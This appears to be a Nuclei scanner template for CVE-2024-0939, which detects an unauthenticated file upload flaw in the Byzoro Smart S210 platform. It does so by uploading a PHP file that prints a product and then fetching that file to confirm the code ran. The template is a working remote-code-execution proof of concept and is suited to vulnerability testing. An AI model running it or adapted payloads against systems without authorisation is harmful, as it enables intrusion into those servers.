id: CVE-2024-0939

info:
  name: Smart S210 Management Platform - Arbitary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0939
    - https://vuldb.com/?ctiid.252184
    - https://vuldb.com/?id.252184
    - https://vuldb.com/?submit.269268
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0939
    cwe-id: CWE-434
    epss-score: 0.00063
    epss-percentile: 0.2659
    cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: byzoro
    product: smart_s210_firmware
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart,file-upload,intrusive,rce

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /Tool/uploadfile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
        Accept-Encoding: gzip, deflate, br

        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="file_upload"; filename="contents.php"
        Content-Type: application/octet-stream

        <?php print({{num1}}*{{num2}}); ?>
        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="txt_path"

        /home/{{filename}}.php
        ------WebKitFormBoundarywnsogfin--

      - |
        GET /home/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{result}}'

      - type: status
        status:
          - 200